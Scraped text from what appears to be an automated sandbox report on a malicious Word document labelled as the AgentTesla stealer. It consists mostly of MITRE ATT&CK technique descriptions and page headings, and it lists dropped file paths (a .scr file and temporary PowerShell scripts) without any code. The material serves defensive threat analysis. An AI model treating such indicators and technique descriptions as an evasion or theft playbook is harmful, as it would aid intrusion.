Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Remittance 17042024.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\JBNvj66BwYU3yCv[1].scr

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{3CFC4CBC-CC73-4F84-AD38-3C803376DE7D}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{CD72746F-B24F-4EC2-824D-173D2D672EC5}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{DBF5DE36-20E6-4ABC-A935-FF242E1062DB}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{FE2D0FDB-7F0A-4F00-BC04-18F54428C4C8}.tmp

C:\Users\user\AppData\Local\Temp\2e5ld3mp.01s.ps1

C:\Users\user\AppData\Local\Temp\cbort3bz.v4p.ps1

C:\Users\user\AppData\Local\Temp\kq40lqt5.aq3.ps1

Windows Analysis Report
Remittance 17042024.doc

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre